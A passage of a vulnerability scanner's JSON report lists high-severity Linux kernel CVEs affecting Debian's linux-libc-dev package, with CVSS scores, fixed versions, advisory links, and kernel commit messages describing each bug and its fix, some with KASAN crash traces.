"https://git.kernel.org/stable/c/9e2a2f98e8c0197108c6d97a1fa43bfd89071c30", "https://git.kernel.org/stable/c/bf785a303e5faad16439c563826a07cb811856c8", "https://git.kernel.org/stable/c/fc6d80eb504458d6416b75a94188b268c95c6533", "https://linux.oracle.com/cve/CVE-2026-98549.html", "https://linux.oracle.com/errata/ELSA-2026-500572.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-98549", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8960-1", "https://www.cve.org/CVERecord?id=CVE-2026-98549" ], "PublishedDate": "2026-10-18T16:17:06.913Z", "LastModifiedDate": "2026-10-30T13:21:15.94Z" }, { "VulnerabilityID": "CVE-2026-98573", "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98573", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:23d3e446a0c8612188c1ac4a051bd277dc7e0c3a717844923b7b136fcd2d1aa8", "Title": "kernel: net: skbuff: fix pull-bound underflow in skb_checksum_setup_ipv6()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: skbuff: fix pull-bound underflow in skb_checksum_setup_ipv6()\n\nskb_maybe_pull_tail() subtracts skb_headlen(skb) from the unsigned max\nargument and passes the result to __pskb_pull_tail() as a signed int. The\nfunction does not ensure that max is at least skb_headlen(skb).\n\nThis can happen while parsing IPv6 extension headers when an skb already\nhas a linear area larger than MAX_IPV6_HDR_LEN. Once the parser needs data\nbeyond the linear area, max - skb_headlen(skb) wraps and is converted to a\nnegative delta. __pskb_pull_tail() then passes that negative length to\nskb_copy_bits(), where it can become a very large copy length.\n\nPass the requested length itself as the pull bound at the three\nextension-header call sites, so the delta can no longer go negative.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 4, "bottlerocket": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98573", "https://access.redhat.com/security/cve/CVE-2026-98573", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98573.mbox", "https://git.kernel.org/stable/c/3b4e0b0c008a8c1b474730248cd5b873026c74bd", "https://git.kernel.org/stable/c/6c28c31f051dbf49c71ba7ab7bb9bc905fa1d14b", "https://git.kernel.org/stable/c/718747afa5463d9cc5fd9a09f03b2a492edd9b78", "https://git.kernel.org/stable/c/9c4e432132a97b82edf28fa172c39f743e6bfb26", "https://git.kernel.org/stable/c/a0ad0473c09d2e947aecac5c82e637ec85924b12", "https://git.kernel.org/stable/c/b2da5ed3d8c75e1b729a21b6d3beaed415e263f6", "https://git.kernel.org/stable/c/cfa643f2ca36c6f913fe1a2ceb12412ebb0fd962", "https://git.kernel.org/stable/c/d7f474226809471dc7877435e9c492cc914df0bf", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.6.1/BRSA-idogxjih1owf.toml", "https://linux.oracle.com/cve/CVE-2026-98573.html", "https://linux.oracle.com/errata/ELSA-2026-500574.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-98573", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-98573" ], "PublishedDate": "2026-10-18T16:17:09.587Z", "LastModifiedDate": "2026-10-19T10:19:15.453Z" }, { "VulnerabilityID": "CVE-2026-98614", "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98614", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:b57e79c52ec4d3edc1d2be92e90f30f7b7c271a11274fb9cf1303cb07e1897bf", "Title": "kernel: sctp: avoid livelock while updating retransmit path", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsctp: avoid livelock while updating retransmit path\n\nsctp_assoc_update_retran_path() can loop forever when every remaining\ntransport, including retran_path, is SCTP_UNCONFIRMED: the state check\nruns before the wraparound test, so the loop cannot observe that it has\ncompleted a full pass.\n\nFix this by considering a transport only when it is not UNCONFIRMED,\nthen checking whether the walk has returned to retran_path. This makes\nthe full-pass termination independent of the transport state while\npreserving the existing fallback selection semantics.\n\nAlso restore the NULL guard around the retran_path assignment. In the\nall-UNCONFIRMED case there is no eligible replacement transport, and\ninstalling NULL would leave later retransmit-path users and the debug\nprint with a NULL path.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 2, "bottlerocket": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98614", "https://access.redhat.com/security/cve/CVE-2026-98614", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98614.mbox", "https://git.kernel.org/stable/c/173610fff55022a5ad1579fbcc7faa97467b58b7", "https://git.kernel.org/stable/c/3fe624c3843694ab096fdb198526ba0c659febbe", "https://git.kernel.org/stable/c/43410c1f2db53516e95ddd7e5b4b02f495b78121", "https://git.kernel.org/stable/c/83b1a7f9e718828ef364a7b004254ebb2d0035fe", "https://git.kernel.org/stable/c/c9338057df1025f578fe7d0ff08bada87b8b838d", "https://git.kernel.org/stable/c/d2c31b837406395e576afeb25958c98e9938f3f6", "https://git.kernel.org/stable/c/d893a7cc1cb41dd510f338bb2bfd8f29b14eaf49", "https://git.kernel.org/stable/c/ddc34cc0834c873871e88b055ee6a260676efe97", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.6.1/BRSA-u6zqwgyfcgeo.toml", "https://linux.oracle.com/cve/CVE-2026-98614.html", "https://linux.oracle.com/errata/ELSA-2026-500574.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-98614", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-98614" ], "PublishedDate": "2026-10-18T16:17:14.267Z", "LastModifiedDate": "2026-10-19T10:19:25.303Z" }, { "VulnerabilityID": "CVE-2026-98621", "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98621", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:da28caa70443f955f25570dcb0ae6aab8e1a264472b54908eeee34d17224f0fb", "Title": "kernel: net: gue: reject invalid REMCSUM offsets", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: gue: reject invalid REMCSUM offsets\n\nThe REMCSUM option carries an absolute checksum start and checksum field\noffset. gue_remcsum() passes them to skb_remcsum_process(), whose\npartial path stores offset - start in the u16 skb-\u003ecsum_offset variable.\nIf offset is less than start, this underflows.\n\nA forwarded packet can retain CHECKSUM_PARTIAL and reach a NETIF_F_HW_CSUM\ndriver which trusts the metadata, leading skb_copy_and_csum_dev() to write\ntwo bytes about 64 KiB beyond the destination buffer.\n\nReject reversed tuples in validate_gue_flags(), after the existing length\nvalidation, so all GUE parsers enforce the ordering in one place.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 4, "bottlerocket": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "ubuntu": 4 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98621", "https://access.redhat.com/security/cve/CVE-2026-98621", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98621.mbox", "https://git.kernel.org/stable/c/1d664be4ca49d1696e85239236f4988dfc4653c3", "https://git.kernel.org/stable/c/1eeec0c51fd5598da44080ed96bbd9880021c28b", "https://git.kernel.org/stable/c/2566866fc30965d915d0b52b5c3323b362619f0e", "https://git.kernel.org/stable/c/40aeafbcbc7bc4018e8f74bbbb4d29ed8846f57f", "https://git.kernel.org/stable/c/43efb1f997e976f386aa89716f55870cd2cff9ad", "https://git.kernel.org/stable/c/4b9bc21b2396c396d88dd909caaf73d5be6ff593", "https://git.kernel.org/stable/c/97f907203321eee2cc9132d5c9eb47698fb41d35", "https://git.kernel.org/stable/c/c20f755338ca234e523dfc943719f194dfc1f903", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/9.6.1/BRSA-ywihoct68xw3.toml", "https://linux.oracle.com/cve/CVE-2026-98621.html", "https://linux.oracle.com/errata/ELSA-2026-500574.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-98621", "https://ubuntu.com/security/notices/USN-8959-1", "https://ubuntu.com/security/notices/USN-8961-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-98621" ], "PublishedDate": "2026-10-18T16:17:14.997Z", "LastModifiedDate": "2026-10-19T10:19:26.217Z" }, { "VulnerabilityID": "CVE-2026-98715", "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "Status": "affected", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98715", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d55570b1af3a47e73397eb623a982e45f7c9687297d3f8911e0ab98c9aef74df", "Title": "kernel: KVM: SVM: Preserve TLB control (i.e. pending TLB flush) on failed VMRUN", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: SVM: Preserve TLB control (i.e. pending TLB flush) on failed VMRUN\n\nDon't reset the VMCB's TLB control back to \"do nothing\" on a failed VMRUN,\nas empirical testing shows that the CPU performs the requested TLB flush if\nand only if VMRUN is successful, i.e. clearing TLB control on a failed\nVMRUN effectively drops a TLB flush.\n\nExplicitly track the need to flush all ASIDs on a per-CPU basis, as the\nASID reuse condition is tied to the pCPU, not to the vCPU. As a bonus,\nthis also obviates the need to avoid clobbering FLUSH_ALL_ASID with\nTLB_CONTROL_FLUSH_ASID, e.g. in svm_flush_tlb_asid().\n\nDeliberately don't bother saving/restoring the \"old\" tlb_ctl on failure,\nin quotes because it's not exactly the old tlb_ctl, it's the tlb_ctl from\nafter pre_svm_run(), but before updating tlb_ctl for flush_all_asids. If\nVMRUN fails and TLB_CONTROL_FLUSH_ALL_ASID is forced, then the next\nsuccessful run of the VMCB *may* unnecessarily flush all ASIDs, which\nstrictly speaking could result in noisy neighbor issues. However, the\nfact that new_asid() is already guest-triggerable, because of KVM's flawed\nbehavior of clearing the ASID on emulated INIT, means that a guest can\nalready trigger a flush of all ASIDs at roughly the same rate. And once\nKVM stops clobbering the ASID on emulated INIT, *or* assigns a static ASID\nto each vCPU, this flaw goes away.", "Severity": "HIGH", "VendorSeverity": { "redhat": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98715", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98715.mbox", "https://git.kernel.org/stable/c/60d93c27859fb3ec5b5a689e24de303f166477d0", "https://git.kernel.org/stable/c/f2bd7cf6a83e49c710e2b93d3064fa0ebb7e0006", "https://git.kernel.org/stable/c/fd873c3d1b5240e80365f09e758e8c96b88a7cdb", "https://nvd.nist.gov/vuln/detail/CVE-2026-98715", "https://www.cve.org/CVERecord?id=CVE-2026-98715" ], "PublishedDate": "2026-10-18T16:17:25.05Z", "LastModifiedDate": "2026-11-06T18:18:30.193Z" }, { "VulnerabilityID": "CVE-2026-98716", "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98716", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7b1530aabd5c6a2f9f92c0571f3c98b7ab890d17a1c90c5b6ffa52bfbe084869", "Title": "kernel: KVM: SVM: Use the active VMCB's MSR bitmap when checking if MSR is intercepted", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nKVM: SVM: Use the active VMCB's MSR bitmap when checking if MSR is intercepted\n\nUse the MSR permission bitmap of the active VMCB instead of assuming that\nKVM is always using vmcb02's bitmap when L2 is active, as KVM uses msrpm02\nif and only if L1 wants to intercept MSR accesses, i.e. if and only if KVM\nneeds to merge msprm01 with msrpm12.\n\nDon't bother tracking the virtual address of the bitmap that's being used,\nas __va() is cheap on x86, and caching the virtual address would introduce\nyet another source of potentially stale information.", "Severity": "HIGH", "VendorSeverity": { "amazon": 3, "azure": 3, "photon": 2, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "V3Score": 8.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98716", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98716.mbox", "https://git.kernel.org/stable/c/001c78bc64389cabe4f9015ab3942ec9c3592caa", "https://git.kernel.org/stable/c/0e79ebf6f92a7d15187aede44204fa04b93e474c", "https://git.kernel.org/stable/c/318ef696fa3c712e46bb62a1a828c3cd62f390c3", "https://git.kernel.org/stable/c/552a110c403f1a61eba0bf71519c6585d9d4242d", "https://git.kernel.org/stable/c/55865b3ae03705aa39198783b9cb1f8b96eb44e4", "https://git.kernel.org/stable/c/74836ae4785b9754bb36d0b18fcc1dec4e5e98d2", "https://git.kernel.org/stable/c/84da7a0e92207444d9cbfe69965e17db29008f27", "https://git.kernel.org/stable/c/9e06bbb9ade7cdf28d4a3b5b14e5812881c8df85", "https://nvd.nist.gov/vuln/detail/CVE-2026-98716", "https://www.cve.org/CVERecord?id=CVE-2026-98716" ], "PublishedDate": "2026-10-18T16:17:25.15Z", "LastModifiedDate": "2026-10-30T13:21:20.837Z" }, { "VulnerabilityID": "CVE-2026-98725", "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98725", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:da92d061ce0db2c3e72a37f0f42ed2f26a7e4d44173efc19d32843da83835f89", "Title": "kernel: nvmet-auth: fix out-of-bounds write in nvmet_auth_challenge()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnvmet-auth: fix out-of-bounds write in nvmet_auth_challenge()\n\nnvmet_auth_challenge() receives its output buffer as a void pointer.\nsizeof(*d) therefore evaluates to one with GCC and undercounts the fixed\nchallenge header by 15 bytes. A short AUTH_RECEIVE buffer can pass the\ncheck before the challenge is copied past the end of its allocation.\n\nUse the typed challenge pointer when calculating the response size.\n\n BUG: KASAN: slab-out-of-bounds in nvmet_execute_auth_receive (drivers/nvme/target/fabrics-cmd-auth.c:442 drivers/nvme/target/fabrics-cmd-auth.c:569)\n Write of size 32 by task kworker/1:1H/64\n Workqueue: nvmet_tcp_wq nvmet_tcp_io_work\n Call Trace:\n nvmet_execute_auth_receive (drivers/nvme/target/fabrics-cmd-auth.c:442 drivers/nvme/target/fabrics-cmd-auth.c:569)\n nvmet_tcp_try_recv_pdu (drivers/nvme/target/tcp.c:1119 drivers/nvme/target/tcp.c:1243)\n nvmet_tcp_io_work (drivers/nvme/target/tcp.c:1350 drivers/nvme/target/tcp.c:1382 drivers/nvme/target/tcp.c:1445)\n process_one_work (kernel/workqueue.c:3322)\n worker_thread (kernel/workqueue.c:3405 kernel/workqueue.c:3486)\n kthread (kernel/kthread.c:436)\n ret_from_fork (arch/x86/kernel/process.c:158)\n ret_from_fork_asm (arch/x86/entry/entry_64.S:245)\n The buggy address is located 16 bytes inside of\n allocated 33-byte region [ffff888000554e80, ffff888000554ea1)\n Kernel panic - not syncing: KASAN: panic_on_warn set ...", "Severity": "HIGH", "VendorSeverity": { "oracle-oval": 3, "photon": 2, "redhat": 3, "rocky": 3, "ubuntu": 4 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93412", "https://access.redhat.com/security/cve/CVE-2026-98725", "https://bugzilla.redhat.com/show_bug.cgi?id=2492108", "https://bugzilla.redhat.com/show_bug.cgi?id=2492733", "https://bugzilla.redhat.com/show_bug.cgi?id=2492853", "https://bugzilla.redhat.com/show_bug.cgi?id=2507222", "https://bugzilla.redhat.com/show_bug.cgi?id=2513435", "https://bugzilla.redhat.com/show_bug.cgi?id=2516579", "https://bugzilla.redhat.com/show_bug.cgi?id=2516935", "https://bugzilla.redhat.com/show_bug.cgi?id=2516970", "https://bugzilla.redhat.com/show_bug.cgi?id=2519475", "https://bugzilla.redhat.com/show_bug.cgi?id=2524438", "https://bugzilla.redhat.com/show_bug.cgi?id=2535227", "https://bugzilla.redhat.com/show_bug.cgi?id=2540396", "https://bugzilla.redhat.com/show_bug.cgi?id=2540555", "https://bugzilla.redhat.com/show_bug.cgi?id=2546487", "https://bugzilla.redhat.com/show_bug.cgi?id=2553390", "https://bugzilla.redhat.com/show_bug.cgi?id=2554835", "https://bugzilla.redhat.com/show_bug.cgi?id=2555068", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52929", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53228", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64303", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68169", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-72083", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74283", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74510", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-74582", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80586", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-89603", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-90011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93787", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-93827", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98364", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98432", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98466", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-98725", "https://errata.rockylinux.org/RLSA-2026:93412", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98725.mbox", "https://git.kernel.org/stable/c/7fd3c363eba4f2aceb4b3f31cd1cf65e0dcbaee4", "https://git.kernel.org/stable/c/8a9b4c0eef19c207663c1ee888257307c869ca86", "https://git.kernel.org/stable/c/9d61131acd742cf97ee64e453383e41b46568513", "https://git.kernel.org/stable/c/e94ff1771c4cb398749789557f0b6feb871e3486", "https://git.kernel.org/stable/c/ef4dfad231a787aded76e5b03788ddb18c8aebab", "https://git.kernel.org/stable/c/fa6778e030bed9841ddcdf96bc7018da9ac03562", "https://linux.oracle.com/cve/CVE-2026-98725.html", "https://linux.oracle.com/errata/ELSA-2026-93413.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-98725", "https://www.cve.org/CVERecord?id=CVE-2026-98725" ], "PublishedDate": "2026-10-18T16:17:26.12Z", "LastModifiedDate": "2026-10-30T13:21:21.28Z" }, { "VulnerabilityID": "CVE-2026-98741", "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98741", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:6497a3c462ce45c1e0981395d9d0a529f27224be3b2053958be4eb6a83a2c25e", "Title": "kernel: ALSA: ua101: reject mismatched capture/playback packet sizes", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nALSA: ua101: reject mismatched capture/playback packet sizes\n\ndetect_usb_format() cross-checks bSubframeSize, bBitResolution and\ntSamFreq between the capture and playback interfaces, but never relates\nthe two endpoints' wMaxPacketSize and bNrChannels. Each playback URB\ngets a buffer of ua-\u003eplayback.max_packet_bytes, while the number of\nbytes written into it is derived from the capture stream:\ncapture_urb_complete() computes frames from the received capture packet\nand capture.frame_bytes, and start_usb_playback() and playback_work()\nmultiply that by playback.frame_bytes.\n\nA device declaring a large capture wMaxPacketSize with few capture\nchannels and a small playback wMaxPacketSize with many playback channels\ntherefore memset()s and memcpy()s past the end of the playback buffer,\nin open() of the PCM node the driver registers during probe.\nusb_submit_urb() rejects the over-long iso_frame_desc[0].length with\n-EMSGSIZE, but only after the write.\n\nReject such descriptors at probe time. Genuine UA-101/UA-1000 hardware\ndeclares proportional packet sizes and is unaffected.\n\n BUG: KASAN: slab-out-of-bounds in start_usb_playback (sound/usb/misc/ua101.c:586)\n Write of size 2048 at addr ffff8881098f3c00 by task exploit/5021\n Call Trace:\n __asan_memset (mm/kasan/shadow.c:84)\n start_usb_playback (sound/usb/misc/ua101.c:586)\n playback_pcm_open (sound/usb/misc/ua101.c:679)\n snd_pcm_open_substream (sound/core/pcm_native.c:2829)\n snd_pcm_open (sound/core/pcm_native.c:2865 sound/core/pcm_native.c:2932)\n snd_pcm_playback_open (sound/core/pcm_native.c:2891)\n snd_open (sound/core/sound.c:166)\n chrdev_open (fs/char_dev.c:411)\n do_dentry_open (fs/open.c:996)\n vfs_open (fs/open.c:1101)\n path_openat (fs/namei.c:4837 fs/namei.c:5000)\n do_file_open (fs/namei.c:5029)\n do_sys_openat2 (fs/open.c:1417)\n __x64_sys_openat (fs/open.c:1423 fs/open.c:1439 fs/open.c:1434)\n do_syscall_64 (arch/x86/entry/syscall_64.c:61 arch/x86/entry/syscall_64.c:84)\n entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)\n\n The buggy address belongs to the object at ffff8881098f3c00\n which belongs to the cache kmalloc-192 of size 192\n The buggy address is located 0 bytes inside of\n allocated 168-byte region [ffff8881098f3c00, ffff8881098f3ca8)", "Severity": "HIGH", "VendorSeverity": { "photon": 3, "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98741", "https://git.kernel.org/pub/scm/linux/security/vulns.git/plain/cve/published/2026/CVE-2026-98741.mbox", "https://git.kernel.org/stable/c/0a6a5eecc92c13f936d8d90975116d6bbdf4f876", "https://git.kernel.org/stable/c/4294fe57048594a9e158b61c967bb7f943cda477", "https://git.kernel.org/stable/c/86f86e6fdedc33c5b8d38b9208b350f8accf57ee", "https://git.kernel.org/stable/c/a2d326b3f6d470ea4bfde00245794e0dc6dbbc3d", "https://git.kernel.org/stable/c/ada5ded765f059a6e3036e69ca350449442af0fc", "https://git.kernel.org/stable/c/b54976c81a6b8cae311b75be1a4cda444689bca0", "https://git.kernel.org/stable/c/eb0c7fda59cf650076f8ed5b949a6c8441aa3606", "https://git.kernel.org/stable/c/fd3a7bf0d988b0878a1957df150edb35f81db87e", "https://nvd.nist.gov/vuln/detail/CVE-2026-98741", "https://www.cve.org/CVERecord?id=CVE-2026-98741" ], "PublishedDate": "2026-10-18T16:17:27.807Z", "LastModifiedDate": "2026-10-30T13:21:22.713Z" }, { "VulnerabilityID": "CVE-2026-98742", "PkgID": "linux-libc-dev@6.12.101-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.101-1?arch=all\u0026distro=debian-13.6", "UID": "9ab03bb6a5547a14" }, "InstalledVersion": "6.12.101-1", "FixedVersion": "6.12.113-1", "Status": "fixed", "Layer": { "DiffID": "sha256:fb95d283814fbe759cfb75a295eb404102804c90b32935ba034a06b18e4ee80a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-98742", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c7e31f29e4bb04e9227b735c0707178aa6965435dbaaee4cbc98f461815f5a93", "Title": "kernel: kernel: Use-after-free via race condition in ALSA sequencer compatibility ioctls", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nALSA: seq: Serialize compat port-info ioctls\n\nThe native sequencer ioctl path serializes handler calls with\nclient-\u003eioctl_mutex, but the translated port-info compat path invokes the\nsame handlers through snd_seq_kernel_client_ctl() without taking that\nmutex.\n\nThis lets concurrent compat CREATE_PORT requests pass the port-count\ncheck before any request reaches the serialized insertion. The computed\ninteger port index can then exceed the address field range and wrap to an\nexisting index. Subsequent subscriber teardown can resolve the duplicate\naddress to the wrong port and access a freed subscriber.\n\nTake ioctl_mutex while dispatching converted port-info requests, matching\nthe native ioctl path. All translated port-info commands share this\nhelper, so their accesses to the client port state are serialized as\nwell.", "Severity": "HIGH", "VendorSeverity": { "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 4.7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-98742", "https://git.kernel.org/stable/c/14e178c60ba1cea49186fcfccac93d66aa94e9e0", "https://git.kernel.org/stable/c/2c0cce3a5a660270d65729b0f318d4e01470479d", "https://git.kernel.org/stable/c/2db234e163f0d211b69a4eebbec8aacc5a54a80e", "https://git.kernel.org/stable/c/413211dd31cb2ef2fc99fb0aa1a037a97509502c", "https://git.kernel.org/stable/c/4980768c5d092493be0deb20d1ee86aa661466f8", "https://git.kernel.org/stable/c/702d92f361f65d9698c473c7599d471395dc4341", 